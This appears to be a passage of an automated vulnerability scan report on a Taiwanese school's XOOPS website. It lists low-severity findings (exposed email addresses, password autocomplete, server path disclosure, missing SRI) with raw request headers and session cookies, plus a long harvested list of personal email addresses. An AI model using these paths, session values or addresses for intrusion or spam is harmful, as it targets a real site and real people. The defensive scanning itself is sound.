PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadtools/css/font-awesome/fonts/fontawesome-webfont.woff2
Details

Request headers



GET /modules/tadtools/css/font-awesome/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

 Email address found

Severity Informational
Reported by module /Scripts/PerFolder/Text_Search_Dir.script

Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested
off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet
looking for email addresses on any website they come across. Spambot programs look for strings like
myname@mydomain.com and then record any addresses found.

Impact

Email addresses posted on Web sites may attract spam.

Recommendation

Check references for details on how to solve this problem.

References

Anti-spam techniques (https://en.wikipedia.org/wiki/Anti-spam_techniques) 

Affected items

/modules/profile/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/profile/index.php
Details

https://en.wikipedia.org/wiki/Anti-spam_techniques


Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/profile/user.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_idioms/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_idioms/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_link/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_link/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_login/
Details

Pattern found:

tad@tn.edu.tw 
 



Request headers

/modules/tad_login/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_lunch3/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_lunch3/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_player/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_player/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tad_player/playlist.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadgallery/
Details



Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadgallery/cooliris.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadgallery/index.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadgallery/view.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadnews/
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadnews/archive.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadnews/index.php
Details

Pattern found:

tad@tn.edu.tw 
 



Request headers

/modules/tadnews/newspaper.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadnews/page.php
Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

/modules/tadtools/jquery/AUTHORS.txt
Details

Pattern found:



paul.bakaus@googlemail.com 
 
rdworth@gmail.com 
 
wycats@gmail.com 
 
littlecooldude@gmail.com 
 
jeresig@gmail.com 
 
tane@tanepiper.com 
 
dmitrig01@gmail.com 
 
klaus.hartl@googlemail.com 
 
stefan.petre@gmail.com 
 
gilles@webunity.nl 
 
micheil@brandedcode.com 
 
joern.zaefferer@gmail.com 
 
m@marcgrabanski.com 
 
kbwood.au@gmail.com 
 
brandon.aaron@gmail.com 
 
scott.gonzalez@gmail.com 
 
eduardolundgren@gmail.com 
 
aaronchi@gmail.com 
 
theneojp@gmail.com 
 
b.basto@gmail.com 
 
remy@leftlogic.com 
 
bohdan.ganicky@gmail.com 
 
david.bolter@gmail.com 
 
cloudream@gmail.com 
 
pazu2k@gmail.com 
 
aflesler@gmail.com 
 
fg.maggie@gmail.com 
 
scott@scottjehl.com 
 
fg.todd@gmail.com 
 
powella@gmail.com 
 
btburnett3@gmail.com 
 
doug@pixelgraphics.us 
 
paul.irish@gmail.com 
 
ralph.whitbeck@gmail.com 
 
thibault.duplessis@gmail.com 
 
dominique.vincent@toitl.com 



 
jack.hsu@gmail.com 
 
ajpiano@ajpiano.com 
 
carl@excito.com 
 
development@allpro.net 
 
afcapel@gmail.com 
 
ting@kuei.com 
 
sam@chide.it 
 
jonspalmer@gmail.com 
 
bhollis@amazon.com 
 
justin@rubystars.biz 
 
kobrigo@hotmail.com 
 
tiago.freire@gmail.com 
 
diegotres@gmail.com 
 
holger@rueprich.de 
 
zizhao@cisco.com 
 
malsup@gmail.com 
 
robsonbraga@gmail.com 
 
ph.ausseil@gmail.com 
 
cmcculloh@gmail.com 
 
ext.github@preceptsoftware.co.uk 
 
cheeaun@gmail.com 
 
yortx.barry@gmail.com 
 
daniel@steigerwald.cz 
 
john_firebaugh@bigfix.com 
 
github@darkdark.net 
 
ru.m157y@gmail.com 
 
dpetroff@gmail.com 
 
eric@hynds.net 
 
pipo@sixhead.com 
 
josh.varner@gmail.com 
 
stephane.raimbault@gmail.com 
 
fracmak@gmail.com 
 
jryans@gmail.com 
 
peter@heiberg.se 
 
adovenmuehle@gmail.com 
 



git@jamiegegerson.com 
 
skeetergraphics@gmail.com 
 
philbar@gmail.com 
 
kai@wikyd.org 
 
me@khaledalhourani.com 
 
mr@impaled.org 
 
jfremy@virtuoz.com 
 
dougblood@gmail.com 
 
poplix@papuasia.org 
 
h.henning@educa.ch 
 
saksmlz@gmail.com 
 
mario@mariovisic.com 
 
xavi.rmz@gmail.com 
 
max.schnur@gmail.com 
 
saji89@gmail.com 
 
gnarf@gnarf.net 
 
aaronp123@yahoo.com 
 
ivan@ivanpeters.com 
 
cherifbouchelaghem@yahoo.fr 
 
marcos.sousa@corp.globo.com 
 
mdellanoce@mailtrust.com 
 
echosx@gmail.com 
 
tobias@strongswan.org 
 
msolli@gmail.com 
 
public@petersendidit.com 
 
danheberden@gmail.com 
 
williamkmanire@gmail.com 
 
gilmoreorless@gmail.com 
 
michaelmwu@gmail.com 
 
mystic414@gmail.com 
 
github@ghusse.com 
 
eleotlecram@gmail.com 
 
ddstreet@ieee.org 
 
furlined@cat-basket.org 
 
giovanni@giacobbi.net 
 
kyle.florence@gmail.com 



 
lopo@losys.sk 
 
hans.hillen@gmail.com 
 
virgofx@live.com 
 
treyhunner@gmail.com 
 
whittet@gmail.com 
 
ef@alum.mit.edu 
 
adam.baratz@gmail.com 
 
kato.kazuyoshi@gmail.com 
 
eike.send@gmail.com 
 
kris.borchers@gmail.com 
 
eddie@eddiemonge.com 
 
itsadok@gmail.com 
 
carson@ioncannon.net 
 
jason@jasondavies.com 
 
gplocke@gmail.com 
 
musicisair@yahoo.com 
 
benjamins.boyle@gmail.com 
 
jebaird@gmail.com 
 
jvingiano@gmail.com 
 
dev@ephox.com 
 
tomykaira@gmail.com 
 
glenn.goodrich@gmail.com 
 
mail.ashek@gmail.com 
 
ryan@neufeldmail.com 
 
marc.neuwirth@gmail.com 
 
philip.robert.graham@gmail.com 
 
benjamin.sterling@kenzomedia.com 
 
wwalser@atlassian.com 
 
kou@clear-code.com 
 
karl.ctr.kirch@faa.gov 
 
ckdake@ckdake.com 
 
jay@loyalize.com 
 
alex.polomoshnov@gmail.com 
 
dgleal@gmail.com 
 
igor.fsp.milla@gmail.com 
 



dave.methvin@gmail.com 
 
blackfeet@gmx.at 
 
marwan.aljubeh@gmail.com 
 
midlis@googlemail.com 
 
m.gaetan89@gmail.com 
 
michel@weimerskirch.net 
 
william@ycymro.com 
 
stojce@gmail.com 
 
david.soms@gmail.com 
 
david.desloovere@hotmail.com 
 
michael.jung@terreon.de 
 
spekary@gmail.com 
 
meh@corefiling.co.uk 
 
james@jameskhoury.com 
 
robloach@gmail.com 
 
betimbrasil@gmail.com 
 
alex.rhea@gmail.com 
 
rozwell69@gmail.com 
 
oltonr@gmail.com 
 
386@mail.com 
 
waldron.rick@gmail.com 
 
spoonlikesham@gmail.com 
 
spam4lev@gmail.com 
 
tj.vantoll@gmail.com 
 
jdomnitz@gmail.com 
 
douglascerna@yahoo.com 
 
bertjh@hotmail.com 
 
jasvir@gmail.com 
 
yuriy@tokyoscale.com 
 
harri.kilpio@gmail.com 
 
lado.lomidze@gmail.com 
 
amir.aharoni@mail.huji.ac.il 
 
simon.sattes@gmail.com 
 
joliss42@gmail.com 
 
karunakarg@yahoo.com 
 
shahyar@gmail.com 



 
uzza17@gmail.com 
 
krinklemail@gmail.com 
 
jmoon@socialcast.com 
 
martinf55@hotmail.com 
 
eneko@illarra.com 
 
semtlenori@gmail.com 
 
courtlandallen@gmail.com 
 
non4eg@gmail.com 
 
dtrunk90@googlemail.com 
 
pavel.stetina@nangu.tv 
 
metaweta@gmail.com 
 
sroussey@gmail.com 
 
hollis21@gmail.com 
 
lee.rowlands@previousnext.com.au 
 
timmywillisn@gmail.com 
 
kswedberg@gmail.com 
 
the_guy_1987@hotmail.com 
 
mrozik87@gmail.com 
 
luis.nh@gmail.com 
 
maspwr@gmail.com 
 
martin@fidion.de 
 
tr870829@gmail.com 
 
xgxtpbk@gws.ms 
 
sindresorhus@gmail.com 
 
bernhard.sirlinger@tele2.de 
 
jared@jaredscheel.com 
 
rxaviers@gmail.com 
 

Request headers

/modules/tadtools/ztree/css/zTreeStyle/zTreeStyle.css
Details

Pattern found:

hunter.z@263.net 
 

Request headers

/search.php



Details

Pattern found:

tad@tn.edu.tw 
 

Request headers

 Password type input with auto-complete enabled

Severity Informational
Reported by module /Crawler/12-Crawler_Password_Input_Autocomplete.js

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should
be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the
name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications.  
To disable auto-complete, you may use a code similar to:

<INPUT TYPE="password" AUTOCOMPLETE="off">

Affected items

Web Server
Details

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

 Possible server path disclosure (Unix)

Severity Informational
Reported by module /Scripts/PerFolder/Text_Search_Dir.script

Description

One or more fully qualified path names were found on this page. From this information the attacker may learn the file
system structure from the web server. This information can be used to conduct further attacks. 

This alert may be a false positive, manual confirmation is required.



Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

Full Path Disclosure (https://www.owasp.org/index.php/Full_Path_Disclosure) 

Affected items

/modules/profile/
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/profile/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/profile/user.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_idioms/
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_idioms/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_link/
Details

https://www.owasp.org/index.php/Full_Path_Disclosure


Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_link/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_login/
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_login/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_lunch3/
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_lunch3/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_player/
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_player/index.php
Details



Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_player/play.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tad_player/playlist.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/modules/tadgallery/
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/ajax.php
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/cooliris.php
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/exif.php
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/index.php
Details



Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/uploads.php
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadgallery/view.php
Details

Pattern found:

/home/matrix/public_html/modules/tadgallery/language/tchinese_utf8/main.php

Request headers

/modules/tadnews/
Details

Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/modules/tadnews/ajax.php
Details

Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/modules/tadnews/archive.php
Details

Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/modules/tadnews/index.php
Details

Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/modules/tadnews/newspaper.php
Details



Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/modules/tadnews/page.php
Details

Pattern found:

/home/matrix/public_html/modules/tadtools/class/TadUpFiles.php

Request headers

/search.php
Details

Pattern found:

/home/matrix/public_html/modules/tad_login/blocks/tad_login.php

Request headers

/themes/school2019/config2.php
Details

Pattern found:

/home/matrix/public_html/themes/school2019/config2.php

Request headers

 Subresource Integrity (SRI) not implemented

Severity Informational
Reported by module /RPA/SRI_Not_Implemented.js

Description

Subresource Integrity (SRI) is a security feature that enables browsers to verify that third-party resources they fetch (for
example, from a CDN) are delivered without unexpected manipulation. It works by allowing developers to provide a
cryptographic hash that a fetched file must match.  

Third-party resources (such as scripts and stylesheets) can be manipulated. An attacker that has access or has hacked the
hosting CDN can manipulate or replace the files. SRI allows developers to specify a base64-encoded cryptographic hash of
the resource to be loaded. The integrity attribute containing the hash is then added to the <script> HTML element tag. The
integrity string consists of a base64-encoded hash, followed by a prefix that depends on the hash algorithm. This prefix can
either be sha265, sha384 or sha512.  

The script loaded from the external URL specified in the Details section doesn't implement Subresource Integrity (SRI). It's
recommended to implement Subresource Integrity (SRI) for all the scripts loaded from external hosts.

Impact

An attacker that has access or has hacked the hosting CDN can manipulate or replace the files.

Recommendation



Use the SRI Hash Generator link (from the References section) to generate a <script> element that implements
Subresource Integrity (SRI).  

For example, you can use the following <script> element to tell a browser that before executing the
https://example.com/example-framework.js script, the browser must first compare the script to the expected hash, and
verify that there's a match.

References

Subresource Integrity (https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity) 
SRI Hash Generator (https://www.srihash.org/) 

Affected items

Web Server
Details

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/images/banners/banner.htm
Details

Request headers

GET /images/banners/banner.htm HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/class/jquery.animated.innerfade/
Details

Request headers

<script src="https://example.com/example-framework.js" 

        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"

        crossorigin="anonymous"></script> 

https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
https://www.srihash.org/


GET /modules/tadgallery/class/jquery.animated.innerfade/ HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/class/jQuery.Marquee/index.html
Details

Request headers

GET /modules/tadnews/class/jQuery.Marquee/index.html HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 
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